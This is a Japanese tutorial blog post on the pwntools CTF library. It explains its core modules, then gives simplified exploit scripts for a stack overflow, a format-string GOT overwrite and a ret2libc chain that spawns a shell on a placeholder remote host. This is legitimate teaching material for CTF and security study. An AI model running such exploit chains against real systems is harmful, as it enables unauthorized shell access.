はじめに:pwntoolsとは? 🤔
pwntoolsは、Pythonで書かれた、CTF(Capture The Flag)競技や脆弱性分析、エクスプロイト開発を強力に支援するライブラリ(フレームワーク)です。Rapid Prototyping and Development(迅速なプロトタイピングと開発)を念頭に設計されており、エクスプロイトコードの作成を可能な限りシンプルにすることを目指しています。
特に、バイナリ解析、プロセスとの対話、シェルコード生成、ROPチェイン構築など、低レイヤーのセキュリティ作業で頻繁に必要となるタスクを効率化するための豊富な機能を提供します。これにより、開発者は煩雑な定型作業から解放され、より本質的な脆弱性の分析やエクスプロイトロジックの構築に集中できます。
CTFプレイヤーやセキュリティ研究者にとって、pwntoolsは今や欠かせないツールの一つと言えるでしょう。このブログでは、pwntoolsの基本的な使い方から応用的な機能まで、詳細に解説していきます。
インストールとセットアップ 🛠️
pwntoolsのインストールは、Pythonのパッケージ管理ツールであるpipを使って簡単に行えます。最新版(v5.0.0以降)はPython 3.10以降をサポートしています。それ以前のPythonバージョンを使用している場合は、v4系のインストールが必要です。
pwntoolsはUbuntu LTS(22.04, 24.04)での利用が最も推奨されていますが、Debian, Arch, FreeBSD, macOSなど、他のPOSIXライクな環境でも多くの機能が動作します。
依存関係のインストール (Ubuntuの場合):
最大限の機能を利用するためには、いくつかのシステムライブラリが必要です。
sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential binutils
pwntoolsのインストール (Python 3):
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
macOSの場合は、追加で`cmake`と`pkg-config`が必要です (`brew install cmake pkg-config`)。
インストール後、Pythonインタプリタやスクリプトで `from pwn import *` を実行できれば成功です。
コア機能の徹底解説 ✨
pwntoolsは多岐にわたる機能を提供しますが、ここでは特に重要なコア機能について解説します。
1. プロセスとの対話 (`tubes`)
ローカルプロセスやリモートサーバーと簡単に対話するためのインターフェース(tube)を提供します。
-
`process()`: ローカルの実行ファイルを実行し、その標準入出力と対話します。デバッグ時に非常に便利です。
from pwn import * # ローカルバイナリ './target' を実行 p = process('./target') # データを送信 (末尾に改行を追加) p.sendline(b'input data') # 特定の文字列 "Password:" が来るまで受信 p.recvuntil(b'Password:') # 1行受信 line = p.recvline() print(line) # プロセスと対話モードに入る (Ctrl+Cで抜ける) p.interactive() # プロセスを閉じる p.close()
-
`remote()`: リモートサーバーの指定されたホストとポートに接続し、ソケット通信を行います。CTFでよく使われます。
from pwn import * # リモートサーバーに接続 # p = remote('example.com', 1337) # p = remote('192.168.1.100', 9999) # タイムアウト設定 (5秒) # p = remote('example.com', 1337, timeout=5) # SSL/TLS接続 # p = remote('secure.example.com', 443, ssl=True) # # 以下、process()と同様の操作が可能 # p.sendline(b'hello') # data = p.recvuntil(b'world') # p.interactive() # p.close()
send()
, recv()
, recvall()
, recvuntil()
, recvline()
など、様々な送受信メソッドが用意されています。
2. パッキングとアンパッキング (`pack`, `unpack`)
数値とバイト列(バイナリデータ)を相互に変換する機能です。エンディアン(バイトオーダー)やデータサイズ(32bit/64bit)を考慮した変換が簡単に行えます。
from pwn import *
# コンテキスト設定 (後述) でアーキテクチャを指定しておくと便利
context.arch = 'amd64' # 64-bit リトルエンディアン
# 数値をバイト列に変換 (パッキング)
addr = 0x400500
packed_addr = p64(addr) # 64-bit リトルエンディアンでパック
print(packed_addr) # b'\x00\x05@\x00\x00\x00\x00\x00'
value = 12345
packed_value = p32(value) # 32-bit リトルエンディアンでパック
print(packed_value) # b'90\x00\x00'
# pack() はコンテキストに基づいて自動でサイズを選択
print(pack(addr)) # context.arch が amd64 なので p64 と同じ
# バイト列を数値に変換 (アンパッキング)
byte_data = b'\x10\x32\x54\x76'
unpacked_data = u32(byte_data) # 32-bit リトルエンディアンでアンパック
print(hex(unpacked_data)) # 0x76543210
# unpack() はコンテキストに基づいて自動でサイズを選択
byte_data_64 = b'\x01\x23\x45\x67\x89\xab\xcd\xef'
print(hex(unpack(byte_data_64))) # 0xefcdab8967452301
# エンディアンの変更
context.endian = 'big'
print(p32(0x12345678)) # b'\x124Vx'
context.endian = 'little' # 元に戻す
p8/u8
, p16/u16
, p32/u32
, p64/u64
など、ビット数に応じた関数が用意されています。pack()
/ unpack()
は context
設定に基づいて自動的に適切な関数を選択します。
3. シェルコード生成 (`shellcraft`)
様々なアーキテクチャ(i386, amd64, arm, aarch64など)とOS(linux, freebsdなど)に対応した、一般的なシェルコードを生成するモジュールです。頻繁に使われる処理(例: シェル起動、ファイル読み書き、ソケット通信)がプリセットとして用意されています。
from pwn import *
# コンテキスト設定 (ターゲットに合わせて)
context.arch = 'amd64'
context.os = 'linux'
# /bin/sh を実行するシェルコードのアセンブリコードを生成
sh_asm = shellcraft.sh()
print(sh_asm)
# /* push b'/bin///sh\x00' */
# push 0x68
# mov rax, 0x732f2f2f6e69622f
# push rax
# mov rdi, rsp /* rdi = rsp */
# /* push argument array ['rsp\x00'] */
# push 0x0
# push rdi
# mov rsi, rsp /* rsi = rsp */
# /* call execve() */
# push SYS_execve /* 0x3b */
# pop rax
# xor rdx, rdx /* rdx = NULL */
# syscall
# アセンブリコードをバイト列 (マシン語) に変換
sh_bytes = asm(sh_asm)
print(enhex(sh_bytes)) # 16進数で表示
# ファイル 'flag.txt' の内容を標準出力に書き出すシェルコード
cat_flag_asm = shellcraft.cat('flag.txt')
cat_flag_bytes = asm(cat_flag_asm)
# 他にも多数のシェルコードテンプレートが存在
# print(asm(shellcraft.connect('127.0.0.1', 8888))) # 指定ホスト/ポートに接続
# print(asm(shellcraft.findpeer(port=1337))) # 指定ポートに接続しているソケットを探す
shellcraft
モジュールには非常に多くのテンプレートが含まれており、組み合わせることで複雑な動作も実現可能です。
4. アセンブリと逆アセンブリ (`asm`, `disasm`)
アセンブリコードとマシン語(バイト列)を相互に変換します。context
で設定されたアーキテクチャに基づいて動作します。
from pwn import *
context.arch = 'i386' # 32-bit x86
# アセンブリコードをマシン語に変換
code_bytes = asm('''
mov eax, 1
mov ebx, 0
int 0x80 /* exit(0) */
''')
print(enhex(code_bytes)) # b801000000bb00000000cd80
# マシン語をアセンブリコードに逆アセンブリ
assembly = disasm(code_bytes)
print(assembly)
# 0: b8 01 00 00 00 mov eax, 0x1
# 5: bb 00 00 00 00 mov ebx, 0x0
# a: cd 80 int 0x80
# 異なるアーキテクチャ
context.arch = 'arm'
context.bits = 32
print(enhex(asm('mov r0, #1'))) # 0100a0e3
print(disasm(b'\x01\x00\xa0\xe3')) # 0: e3a00001 mov r0, #1
サポートされているアーキテクチャは多岐にわたります。
5. ELFファイル解析 (`ELF`)
ELF (Executable and Linkable Format) ファイルを解析し、ヘッダー情報、セクション、シンボル(関数や変数)、GOT (Global Offset Table) / PLT (Procedure Linkage Table) エントリなどの情報を簡単に取得できます。PIE (Position Independent Executable) が有効なバイナリのベースアドレス解決にも役立ちます。
from pwn import *
# ELFファイルをロード (checksec=True でセキュリティ機構のチェックも行う)
# 例として /bin/ls を使う
try:
elf = ELF('/bin/ls', checksec=True)
# checksec=False にするとチェックをスキップ
# 基本情報
print(f"Arch: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endian: {elf.endian}")
print(f"OS: {elf.os}")
# ベースアドレス (PIE無効なら通常 0x400000 など)
print(f"Base Address: {hex(elf.address)}")
# シンボル (関数や変数) のアドレス
if 'main' in elf.symbols:
print(f"Symbol 'main': {hex(elf.symbols['main'])}")
if 'printf' in elf.symbols: # 静的リンクされている場合
print(f"Symbol 'printf': {hex(elf.symbols['printf'])}")
# PLT (Procedure Linkage Table) のアドレス
if 'printf' in elf.plt:
print(f"PLT 'printf': {hex(elf.plt['printf'])}")
# GOT (Global Offset Table) のアドレス
if 'printf' in elf.got:
print(f"GOT 'printf': {hex(elf.got['printf'])}")
# セクション情報
if '.text' in elf.sections:
text_section = elf.get_section_by_name('.text')
print(f".text section address: {hex(text_section.header.sh_addr)}")
print(f".text section size: {hex(text_section.header.sh_size)}")
# print(f".text data: {text_section.data()[:16]}") # 先頭16バイト
# 文字列検索
# '/bin/sh' 文字列のアドレスを探す (ジェネレータを返す)
# bin_sh_addr = next(elf.search(b'/bin/sh\x00'), None)
# if bin_sh_addr:
# print(f"'/bin/sh' found at: {hex(bin_sh_addr)}")
# PIE有効なバイナリの場合、リークしたアドレスからベースアドレスを再計算
# leaked_addr = 0x555555555189 # 例: リークしたmain関数のアドレス
# elf.address = leaked_addr - elf.symbols['main']
# print(f"Calculated Base Address: {hex(elf.address)}")
# print(f"Recalculated puts@plt: {hex(elf.plt['puts'])}") # ベースアドレス再計算後のアドレス
except FileNotFoundError:
print("Error: /bin/ls not found.")
except Exception as e:
print(f"An error occurred: {e}")
elf.read(address, count)
で指定アドレスからデータを読み込んだり、elf.write(address, data)
でメモリ(ファイルイメージ上)に書き込んだり、elf.asm(address, code)
でアセンブリを直接書き込んだり、elf.save(path)
で変更を保存することも可能です。
6. デバッグ (`gdb`)
GDB (GNU Debugger) との連携機能を提供します。スクリプトからGDBを起動したり、アタッチしたり、ブレークポイントを設定したりできます。
from pwn import *
# ターゲットバイナリとコンテキスト設定
elf_path = './target_binary' # デバッグ対象のバイナリ
context.binary = elf = ELF(elf_path)
context.log_level = 'debug' # デバッグ情報を表示
# gdb.debug(): プロセスを起動し、新しいターミナルでGDBをアタッチ
# gdbscript でGDB起動時に実行するコマンドを指定できる
gdb_script = '''
break main
continue
'''
# io = gdb.debug(elf_path, gdbscript=gdb_script)
# gdb.attach(): 実行中のプロセスにGDBをアタッチ
# まずプロセスを起動
p = process(elf_path)
print(f"PID: {p.pid}")
# GDBをアタッチ (新しいターミナルが開く)
# gdb.attach(p, gdbscript='break *main+10\ncontinue')
# または、プロセスを一時停止させて手動でアタッチするのを待つ
# gdb.attach(p) # GDBがアタッチされるまで待機
# GDBを起動せずに、単純にプロセスPIDを取得して手動でアタッチすることも可能
# print("Attach GDB manually:")
# print(f"gdb attach {p.pid}")
# pause() # スクリプトを一時停止 (Enterで再開)
# # --- Exploit Code ---
# io.sendline(b'payload')
# print(io.recvall())
# io.interactive()
# io.close()
# p を使う場合
p.sendline(b'payload')
print(p.recvall())
p.interactive()
p.close()
gdb.debug()
や gdb.attach()
を使うと、新しいターミナルウィンドウ(通常はtmuxやgnome-terminalなど)が開き、そこでGDBセッションが開始されます。context.terminal
で使用するターミナルを指定できます。
# 例: tmux を使用し、水平分割で GDB を開く
# context.terminal = ['tmux', 'splitw', '-h']
# io = gdb.debug(elf_path)
デバッグ実行 (`GDB` 引数をつけてスクリプトを実行するなど) と通常実行を簡単に切り替えられるようにテンプレートを使うことも一般的です。
7. ロギング (`log`)
スクリプトの実行状況や送受信データなどを分かりやすく表示するためのロギング機能です。デバッグに役立ちます。
from pwn import *
# ログレベルの設定 (デフォルトは 'info')
# 'debug', 'info', 'warning', 'error', 'critical'
context.log_level = 'info'
log.debug("これはデバッグメッセージです (通常は表示されない)")
log.info("情報メッセージ: ペイロードを送信します")
# p.sendline(payload) # 送受信データもログレベルに応じて表示される
log.success("成功メッセージ: シェルを取得しました! 🎉")
log.warning("警告メッセージ: canaryが見つかりません")
log.failure("失敗メッセージ: エクスプロイトに失敗しました") # log.error と同じエイリアス
# 進捗表示
p = log.progress("ブルートフォース中")
for i in range(101):
time.sleep(0.02)
p.status(f"{i}% 完了")
p.success("完了!")
ログレベルを 'debug'
に設定すると、process
やremote
での送受信データが詳細に表示されるため、通信内容の確認に非常に有効です。
8. ROPチェイン構築 (`ROP`)
ROP (Return-Oriented Programming) 攻撃に必要なROPガジェット(既存コード片)をELFファイルから検索し、それらを組み合わせてROPチェインを自動または半自動で構築する機能を提供します。i386およびamd64アーキテクチャで特に強力です。
from pwn import *
# ELFファイルとコンテキストを設定
elf_path = './vulnerable_rop_binary'
context.binary = elf = ELF(elf_path)
# libc のパスも指定 (必要であれば)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# rop = ROP([elf, libc]) # 複数のELFからガジェットを探す場合
rop = ROP(elf)
# ROPオブジェクトを作成
try:
# ガジェットの検索 (特定のレジスタに値をロードするガジェットなど)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
if pop_rdi:
log.info(f"Found 'pop rdi; ret' gadget at: {hex(pop_rdi)}")
else:
log.warning("Could not find 'pop rdi; ret' gadget")
# ROPチェインの構築 (例: system('/bin/sh') を呼び出す)
# 1. '/bin/sh' 文字列のアドレスを見つける (または書き込む)
# ここでは仮にELF内に存在すると仮定
bin_sh_addr = next(elf.search(b'/bin/sh\x00'), None)
if not bin_sh_addr:
# もし存在しない場合は、書き込み可能な領域を探してそこに書き込むなどの処理が必要
# writable_addr = elf.bss() + 0x100 # 例: .bssセクション
# rop.raw(pop_rdi)
# rop.raw(writable_addr)
# rop.call(elf.plt['gets']) # getsなどで文字列を読み込む
# bin_sh_addr = writable_addr
raise Exception("'/bin/sh' string not found in ELF")
log.info(f"'/bin/sh' string address: {hex(bin_sh_addr)}")
# 2. system 関数のアドレスを見つける (PLT経由 or libcベースが必要)
system_addr = elf.plt['system'] # PLT経由で呼び出す場合
# system_addr = libc.symbols['system'] # libcベースが分かっている場合
log.info(f"system@plt address: {hex(system_addr)}")
# 3. ROPチェインを組み立てる
# rop.raw(pop_rdi) # pop rdi; ret のアドレス
# rop.raw(bin_sh_addr) # system関数の第一引数 ("/bin/sh"のアドレス)
# rop.raw(system_addr) # system関数のアドレス
# より簡単な方法: ROP.call() を使う
# ROP.call() は適切な pop/ret ガジェットを自動で見つけてくれる
rop.call(elf.plt['system'], [bin_sh_addr]) # system('/bin/sh') を呼び出すチェインを追加
# 必要であれば、その後 exit() を呼ぶなど
# rop.call(elf.plt['exit'], [0])
# 構築されたROPチェインを確認
print(rop.dump())
# ROPチェインをバイト列として取得
rop_payload = rop.chain()
print(f"ROP Payload (bytes): {rop_payload}")
# --- Exploit ---
# padding = b'A' * offset # バッファオーバーフローのオフセット
# payload = padding + rop_payload
# p = process(elf_path)
# p.sendline(payload)
# p.interactive()
except Exception as e:
log.error(f"ROP failed: {e}")
ROP
クラスは、find_gadget()
によるガジェット検索、call()
による関数呼び出しチェインの自動生成、raw()
による任意データの挿入など、ROPチェイン構築を大幅に簡略化します。複数のELFファイル(本体とlibcなど)を渡して、それら全体からガジェットを探すことも可能です。
9. コンテキスト設定 (`context`)
エクスプロイトのターゲット環境(アーキテクチャ、OS、エンディアン、ビット数など)や、pwntools自体の動作(ログレベル、ターミナル設定など)をグローバルに設定するための重要な機能です。スクリプトの最初に設定することで、以降の関数呼び出し(asm
, pack
, shellcraft
など)がその設定に基づいて動作します。
from pwn import *
# コンテキスト設定の例
context.arch = 'amd64' # ターゲットアーキテクチャ (e.g., 'i386', 'amd64', 'arm', 'aarch64')
context.os = 'linux' # ターゲットOS (e.g., 'linux', 'freebsd', 'windows')
context.bits = 64 # アドレス/レジスタのビット数 (32 or 64)
context.endian = 'little' # エンディアン ('little' or 'big')
context.log_level = 'info' # ログレベル ('debug', 'info', 'warn', 'error')
context.terminal = ['tmux', 'splitw', '-h'] # gdb.debug で使用するターミナル
# ELFオブジェクトから自動設定 (推奨)
# context.binary = elf = ELF('./target_binary')
# これにより、arch, bits, endian が自動で設定される
# 設定の確認
print(context)
# 以降の関数はこのコンテキストに基づいて動作する
shellcode = asm(shellcraft.sh()) # amd64/linux のシェルコードが生成される
packed_data = pack(0xdeadbeefcafebabe) # 64bit リトルエンディアンでパックされる
# スコープを限定したコンテキスト変更 (with文)
print(f"Original arch: {context.arch}")
with context.local(arch='i386', bits=32):
print(f"Inside with: {context.arch}")
code32 = asm('nop') # 32bitのnopが生成される
print(f"Outside with: {context.arch}") # 元のamd64に戻る
context.binary = ELF(...)
を使うと、ELFファイルの情報からアーキテクチャ、ビット数、エンディアンを自動で設定してくれるため、非常に便利で間違いが少なくなります。コンテキストの設定は、エクスプロイトコードの可搬性と正確性を高める上で不可欠です。
10. その他の便利な機能
機能 | 説明 | 例 |
---|---|---|
cyclic() / cyclic_find() |
バッファオーバーフローのオフセット特定に使うための特徴的なパターン(De Bruijn sequence)を生成・検索します。 | cyclic(100) , cyclic_find(0x61616166) |
FmtStr |
フォーマット文字列脆弱性(FSB)のエクスプロイトを支援します。ペイロードの自動生成など。 | fmt = FmtStr(execute_fmt) |
DynELF |
libcなどのライブラリファイルがない状況で、任意のメモリアドレスのリーク関数だけを使って、他の関数のアドレスを解決する機能。ASLRバイパスなどに。 | d = DynELF(leak_func, elf=elf) , d.lookup('system', 'libc') |
xor() |
バイト列同士のXOR演算を行います。簡単な暗号化/復号化などに。 | xor(b'hello', b'keyke') |
hexdump() |
バイト列を分かりやすい16進ダンプ形式で表示します。 | print(hexdump(shellcode)) |
ssh() |
SSH接続を確立し、リモートでのコマンド実行やプロセスとの対話を可能にします。 | s = ssh(host='...', user='...') , p = s.process('/path/to/binary') |
実践的な使い方:Exploit例 💻
ここでは、いくつかの典型的な脆弱性に対するpwntoolsを用いたエクスプロイトコードの簡単な例を示します。 注意:これらのコードは説明のための単純化された例であり、実際のターゲットや環境に合わせて修正が必要です。
例1: 簡単なスタックバッファオーバーフロー (NX無効)
リターンアドレスを上書きし、スタック上に配置したシェルコードにジャンプさせる古典的な攻撃です。
from pwn import *
# --- 設定 ---
elf_path = './bof_no_nx'
context.binary = elf = ELF(elf_path)
context.log_level = 'info'
# オフセットの特定 (例: cyclic() などで事前に特定)
offset = 40 # リターンアドレスまでのオフセット (例)
# --- シェルコード準備 ---
shellcode = asm(shellcraft.sh())
# --- ペイロード構築 ---
# 1. スタック上のシェルコードのアドレスを特定する必要がある
# - デバッグで特定する
# - スタックアドレスがリークされる場合、それを利用する
# - ASLRが無効なら固定アドレスを使える場合もある
# ここでは仮にESP/RSPの値を推測またはリークできたとする
# (この方法は不安定なことが多い)
# より安定させるにはNOPスレッドを使うなどの工夫が必要
# 例: デバッグでrspの値が 0x7fffffffe5f0 あたりと分かったとする
# (ASLR有効下では毎回変わるため、実際はリークが必要)
# stack_addr_guess = 0x7fffffffe5f0 # 仮のアドレス
# 書き込み可能な領域 (例: .bss) にシェルコードを置く方が安定する場合もある
writable_addr = elf.bss() + 0x100 # .bssセクションに適当なオフセットを加える
# ペイロード: padding + return_address (シェルコードのアドレス) + shellcode
# ret_addr = p64(stack_addr_guess) # RSPを狙う場合 (不安定)
ret_addr = p64(writable_addr) # .bss を狙う場合
# 方法1: シェルコードをリターンアドレスの後に配置
# payload = flat(
# asm('nop') * offset, # パディング (NOPで埋めるのは一例)
# ret_addr, # リターンアドレス上書き
# shellcode # シェルコード本体
# )
# 方法2: 書き込み可能領域にシェルコードを先に書き込む想定
# (例: 別の入力などで事前に書き込めるとする)
# この例では、リターンアドレスだけ上書きし、
# シェルコードは .bss にあると仮定してそこにジャンプ
padding = b'A' * offset
payload = flat(
padding,
ret_addr # シェルコードが配置されているアドレスにジャンプ
)
# --- エクスプロイト実行 ---
# p = process(elf_path)
p = remote('target.example.com', 1234) # リモートの場合
# 必要であれば、シェルコードを書き込む処理
# p.sendline(b'write_trigger ' + p64(writable_addr) + shellcode)
# p.recvuntil(b'done')
# バッファオーバーフローを発生させる入力
p.sendline(payload)
log.success("Payload sent! Entering interactive mode...")
p.interactive() # シェルが取れていれば操作できる
例2: フォーマット文字列脆弱性 (FSB) – GOT Overwrite
フォーマット文字列の脆弱性を利用してGOTエントリを書き換え、任意の関数(例: `system`)を呼び出せるようにする攻撃です。
from pwn import *
# --- 設定 ---
elf_path = './fsb_got_overwrite'
context.binary = elf = ELF(elf_path)
libc = elf.libc # 自動でlibcを解決 (事前に設定が必要な場合あり)
# context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
# --- アドレス取得 ---
printf_got = elf.got['printf']
system_addr = libc.symbols['system'] # libc内のsystem関数のアドレス
log.info(f"printf@GOT: {hex(printf_got)}")
log.info(f"system@libc: {hex(system_addr)}")
# --- FmtStr オブジェクト作成 ---
# リークや書き込みを行うための関数を定義
def send_payload(payload):
# p = process(elf_path) # ローカルの場合、毎回起動する想定
p = remote('target.example.com', 5678) # リモートの場合
p.sendline(payload)
# 必要に応じて応答を返す/閉じる
resp = p.recvall(timeout=1) # 応答があれば取得 (なくても良い)
p.close()
return resp
# FmtStrオブジェクトを作成
# execute_fmt は、ペイロードを受け取りターゲットに送信する関数
fmt = FmtStr(execute_fmt=send_payload, offset=6) # offsetは %x で最初に制御可能な引数までのオフセット (要調査)
# --- GOT Overwrite実行 ---
# printf@GOT の値を system関数のアドレスに書き換えるペイロードを生成
fmt.write(printf_got, system_addr)
# ペイロードをターゲットに送信 (書き込み実行)
fmt.execute_writes()
log.success("GOT overwrite attempt finished.")
# --- トリガー ---
# 再度プログラムを実行し、printfが呼ばれる箇所でペイロードを送信
# 今度は printf が呼ばれると system が実行されるはず
p = remote('target.example.com', 5678) # 再接続
# p = process(elf_path)
log.info("Sending trigger payload...")
p.sendline(b"/bin/sh\x00") # printf("%s", input) のような場合、これがsystemの引数になる
p.interactive() # シェルが起動するはず
FSBのオフセット特定や、書き込みバイト数に応じた `%hn`, `%hhn`, `%n` の使い分けなど、実際のエクスプロイトはより複雑になります。FmtStr
クラスはこれらの複雑さを軽減します。
例3: ROP (Return-Oriented Programming) – ret2libc
NXビットが有効な場合に、既存のコード片(ガジェット)を組み合わせてlibc内の関数(例: `system`)を呼び出す攻撃です。
from pwn import *
# --- 設定 ---
elf_path = './rop_ret2libc'
context.binary = elf = ELF(elf_path)
# libc のパスを指定 (ローカルに必要)
libc_path = '/lib/x86_64-linux-gnu/libc.so.6' # 環境に合わせて変更
libc = ELF(libc_path)
context.log_level = 'info'
# オフセット特定 (例)
offset = 72
# --- Stage 1: libcベースアドレスのリーク ---
# 一般的な手法: puts@plt を使って puts@GOT の内容 (実際のputsアドレス) を表示させる
rop_leak = ROP(elf)
pop_rdi = rop_leak.find_gadget(['pop rdi', 'ret'])[0] # pop rdi; ret ガジェット
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main'] # リーク後、main関数に戻る
log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"puts@plt: {hex(puts_plt)}")
log.info(f"puts@GOT: {hex(puts_got)}")
log.info(f"main: {hex(main_addr)}")
# リーク用ROPチェイン: puts(puts@got) を呼び出し、その後 main に戻る
rop_leak.raw(pop_rdi)
rop_leak.raw(puts_got) # putsの引数 (GOTエントリのアドレス)
rop_leak.raw(puts_plt) # puts@plt を呼び出す
rop_leak.raw(main_addr) # main関数に戻る
payload_leak = flat(
b'A' * offset,
rop_leak.chain()
)
# --- リーク実行 ---
# p = process(elf_path)
p = remote('target.example.com', 9001)
p.sendlineafter(b'Input:', payload_leak) # 何かプロンプトがあれば recvuntil/sendlineafter を使う
# putsからの応答を受信
p.recvline() # 不要な行があれば読み飛ばす
leaked_puts_bytes = p.recvline().strip()
leaked_puts_addr = u64(leaked_puts_bytes.ljust(8, b'\x00')) # 受信バイト列をu64でアドレスに変換
log.success(f"Leaked puts address: {hex(leaked_puts_addr)}")
# --- libcベースアドレス計算 ---
libc.address = leaked_puts_addr - libc.symbols['puts']
log.success(f"Calculated libc base: {hex(libc.address)}")
# --- Stage 2: system('/bin/sh') 呼び出し ---
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh\x00')) # libc内から /bin/sh 文字列を探す
log.info(f"system address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(bin_sh_addr)}")
# retガジェット (スタックアラインメント用 - x86_64 ABIでは必要になることがある)
ret_gadget = rop_leak.find_gadget(['ret'])[0]
log.info(f"ret gadget @ {hex(ret_gadget)}")
# シェル起動用ROPチェイン
rop_shell = ROP(libc) # libcベースが分かったのでlibcのROPオブジェクトを使う
# または rop_shell = ROP(elf) で elf.address と libc.address を使う
rop_shell.raw(pop_rdi) # pop rdi; ret (elfからでもlibcからでも良い)
rop_shell.raw(bin_sh_addr) # systemの引数
# rop_shell.raw(ret_gadget) # スタックアラインメントが必要な場合
rop_shell.raw(system_addr) # system関数呼び出し
# rop_shell.call('system', [bin_sh_addr]) # ROP.callを使っても良い
payload_shell = flat(
b'A' * offset, # 再度パディング
rop_shell.chain()
)
# --- シェル起動実行 ---
log.info("Sending shell payload...")
p.sendline(payload_shell) # mainに戻っているので再度入力可能
log.success("Payload sent! Entering interactive mode...")
p.interactive()
pwntoolsを使う上でのTips ✨
- `context` は最初に設定する: スクリプトの冒頭で `context.arch`, `context.os`, `context.bits`, `context.endian`, `context.log_level` を設定しましょう。特に `context.binary = ELF(…)` を使うと、ターゲットバイナリに合わせて自動設定されるため推奨されます。
- ログレベルを活用する: デバッグ中は `context.log_level = ‘debug’` にして送受信データを確認し、完成したら `’info’` や `’warn’` に戻すと見やすくなります。`log.progress` は時間のかかる処理の進捗表示に便利です。
-
`flat()` と `fit()`: ペイロードを構築する際に、複数のデータ(アドレス、文字列、バイト列など)を連結するには `flat()` が便利です。`fit()` は指定した長さになるようにパディングを自動で追加・調整してくれます。
payload = flat( b'A' * 20, p64(0xdeadbeef), asm('nop'), b'/bin/sh\x00' ) print(payload) # 指定長(100バイト)になるように 'A' でパディング padded_payload = fit({ 0: b'initial_data', 80: p64(0xcafebabe) # オフセット80にアドレスを配置 }, length=100, filler=b'A') print(hexdump(padded_payload))
- 対話モード `interactive()`: エクスプロイトが成功してシェルが取れた後、手動で操作するためにスクリプトの最後に `p.interactive()` を置くのが定石です。
- タイムアウト設定: `remote()` や `recv()` 系関数では `timeout` 引数を指定できます。ネットワークの状況やサーバーの応答が不安定な場合に設定すると、無限待機を防げます。
- テンプレートの活用: `pwn template ./binary > exploit.py` コマンドで、基本的な構造(引数処理、GDB連携、ローカル/リモート切り替えなど)を含むエクスプロイトスクリプトのテンプレートを生成できます。これをベースに開発を始めると効率的です。
まとめ 🎉
pwntoolsは、CTFプレイヤーやセキュリティ研究者にとって、バイナリ解析やエクスプロイト開発の効率を劇的に向上させる強力なPythonライブラリです。プロセス操作、データ変換、シェルコード生成、ELF解析、ROPチェイン構築、デバッグ連携など、豊富な機能を提供します。
最初は機能の多さに圧倒されるかもしれませんが、基本的な `process`/`remote`, `pack`/`unpack`, `asm`/`disasm`, `ELF`, `ROP`, `context` などの使い方をマスターすれば、多くの問題を効率的に解決できるようになるでしょう。
公式ドキュメント (https://docs.pwntools.com/) には、さらに詳細な情報やAPIリファレンス、チュートリアルが豊富に用意されています。ぜひ参照しながら、様々なCTF問題や脆弱性分析に挑戦してみてください。pwntoolsを使いこなして、Pwnの世界を楽しみましょう! 💪
コメント